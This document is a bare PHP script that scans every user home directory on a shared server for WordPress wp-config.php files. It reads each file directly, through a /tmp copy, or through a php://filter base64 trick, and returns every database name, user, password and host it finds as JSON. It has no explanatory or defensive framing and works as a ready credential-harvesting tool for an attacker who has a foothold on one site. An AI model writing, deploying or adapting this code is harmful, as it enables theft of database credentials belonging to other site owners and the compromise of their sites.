 <?php
@set_time_limit(900);
header('Content-Type: application/json; charset=utf-8');
$R=['configs'=>[],'meta'=>[]];
function ex($t){
 if(!$t||strpos($t,'DB_NAME')===false)return null;
 $o=['pfx'=>'wp_'];
 foreach(['DB_NAME'=>'db','DB_USER'=>'dbu','DB_PASSWORD'=>'dbp','DB_HOST'=>'dbhost'] as $k=>$f){
  if(preg_match("/define\s*\(\s*['\"]".$k."['\"]\s*,\s*['\"]([^'\"]*)['\"]/",$t,$m))$o[$f]=$m[1];
 }
 if(preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/",$t,$m))$o['pfx']=$m[1];
 return !empty($o['db'])?$o:null;
}
function grab($src,&$R){
 foreach(['direct','copy','filter'] as $m){
  $c=null;
  if($m==='direct')$c=@file_get_contents($src);
  elseif($m==='copy'){$t='/tmp/nx'.md5($src);@unlink($t);if(@copy($src,$t)){$c=@file_get_contents($t);@unlink($t);}}
  else{$b=@file_get_contents('php://filter/read=convert.base64-encode/resource='.$src);if($b)$c=base64_decode($b);}
  if($c&&ex($c)){foreach($R['configs'] as $x){if(($x['cfg']['db']??'')===ex($c)['db'])return;}
   $R['configs'][]=['path'=>$src,'method'=>$m,'cfg'=>ex($c)];return;}
 }
}
$paths=[];
foreach(['/home','/home1','/home2','/home3'] as $hr){
 if(!is_dir($hr))continue;
 foreach(glob($hr.'/*',GLOB_ONLYDIR)?:[] as $u){
  foreach(['public_html/wp-config.php','www/wp-config.php','domains/*/public_html/wp-config.php'] as $pat){
   if(strpos($pat,'*')!==false){foreach(glob($u.'/'.$pat)?:[] as $g)$paths[]=$g;}
   else $paths[]=$u.'/'.$pat;
  }
 }
}
$paths=array_unique($paths);
$R['meta']['candidates']=count($paths);
foreach(array_slice($paths,0,250) as $p) grab($p,$R);
echo json_encode($R);